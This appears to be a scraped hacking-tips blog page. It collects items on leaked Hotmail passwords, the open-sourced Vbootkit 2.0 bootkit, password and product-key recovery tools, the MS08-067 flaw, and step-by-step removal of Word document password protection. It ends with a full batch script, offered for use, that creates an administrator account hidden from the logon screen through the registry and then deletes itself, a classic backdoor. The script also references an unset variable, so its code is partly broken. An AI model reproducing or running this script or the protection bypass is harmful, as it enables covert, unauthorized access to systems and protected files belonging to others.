Follow-up to yesterdays post. A researcher who examined 10,000 Hotmail, MSN and Live.com passwords that were recently exposed online has published an analysis of the list and found that “123456″ was the most commonly used password, appearing 64 times.
Forty-two percent of the passwords used lowercase letters from “a to z”; only 6 percent mixed alpha-numeric and other characters.
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GetKey 3.0 easily recovers Windows and Microsoft Office Product Keys. It also can recover the keys from a slaved/offline drive or run from a WindowsPE CD,such as BartsPE or Hiren’s BootDisk! It even decodes what type of Windows is installed on the offline drive by decoding the Microsoft Product Code and Channel ID, so if you have you’re a tech working on a dead system you can grab the right Windows CD to install. GetKey is written in pure assembly language, it’s fully portable and is only 14kb in size .
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Vbootkit 2.0 has now been made open-source under GPL license.
Indian security researchers have released proof-of-concept code that can be used to take over a computer running Microsoft’s upcoming Windows 7 operating system, despite earlier promising not to make the code public for fear it could be misused.
VBootkit 2.0 was developed by researchers Vipin Kumar and Nitin Kumar and is now available for download under an open-source license.
Vbootkit 2.0 currently only works on Windows 7 ( x64 edition ).
Download Vbootkit 2.0 source code
Vbootkit 2.0 Attacking Windows 7 (x64) via Boot Sectors presentation
VIA: nvlabs.in
Tools Needed : MDD pyCrypto Volatility 1.3 Beta Volatility Plugin from Moyix ManTech Memory DD (MDD) (http://www.mantech.com/msma/MDD.asp) is released under GPL by Mantech International. MDD is capable of copying the complete contents of memory on the following Microsoft Operating Systems: Windows 2000, Windows XP, Windows 2003 Server, Windows 2008 Server. After downloading MDD from the Mantech site you need to run (more…)
Please take note that this handy tip is intended to recover/regain a forgotten Vista Administrator password. It is not intended to illegally hacking into a Vista system that’s not owning by users who refer this guide!! It is also intended to inform Vista users about the method by which anyone can access their private accounts by cracking passwords….Thus anyone can hack into administrator account and bypass guest user restrictions…. Lets start… Steps to hack Windows Vista Administrator account password: (more…)
Many people ask about the location in the Registry or file system that applications store the passwords. Here is a list of password storage locations for popular applications compiled by Nir Sofer.
Be aware that even if you know the location of the saved password, it doesn’t mean that you can move it from one computer to another. many applications store the passwords in a way that prevent you from moving them to another computer or user profile. (more…)
If you haven’t been auto-updated yet make sure you do. The vulnerability could allow remote code execution if an affected system received a specially crafted RPC request. On Microsoft Windows 2000, Windows XP, and Windows Server 2003 systems, an attacker could exploit this vulnerability without authentication to run arbitrary code. It is possible that this vulnerability could be used in the crafting of a wormable exploit.
http://blogs.technet.com/swi/archive/2008/10/23/More-detail-about-MS08-067.aspx
http://www.microsoft.com/technet/security/Bulletin/ms08-067.mspx
Ever run into situation where someone sends you a read-only password protected Word document, but wants you to make changes?
Here’s how to crack it if you are using the newer versions of Word:
If you are using office XP or 2003, you can change the view to HTML-Code using Microsoft Script-Editor by pressing the [Alt]+[Shift]+[F11] key combination.
Search for “Password” and you will find somethimg like this:
<w:DocumentProtection>ReadOnly</w:DocumentProtection>
<w:UnprotectPassword>19E8E61E</w:UnprotectPassword>
To remove the protection:
-Just remowe those two lines, and after saving the document , the protection is gone.
To remove the password:
-replace the Password, here “19E8E61E”, with “00000000″, save the Document and close “Script-Editor”.
Alternative you can save your document as .html and use a html-Editor
lm2ntcrack provides a simple way to crack instantly Microsoft Windows NT Hash (MD4) when the LM Password is known. lm2ntcrack is Free and Open Source software.
This software is entirely written in Perl, so its easily ported and installed.
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Nice little .bat script trick from illwill @ illmob.org that will create user who’s account will be hidden from the logon screen and the User Accounts screen in control panel. This will only work if its ran from an account that has admin rights. It’s great for a backup account.
@echo off rem HideUser.bat rem by illwill http://illmob.org rem This will create a hidden user with admin rights in XP/Vista rem ( hidden meaning that the username wont appear in the logon screen) rem change the illwill & passw0rd to your own rem Add once you log into your new account dont forget to hide the user folder rem "attrib +r +a +s +h %USERPROFILE%" SET NEWUSER=adm1n SET PASS=passw0rd net user %NEWUSER% %PASS% /add && net localgroup administrators %NEWUSER% /add>nul 2>&1 reg.exe ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList"/v %USER% /t REG_DWORD /d 0 /f>nul 2>&1 DEL %0
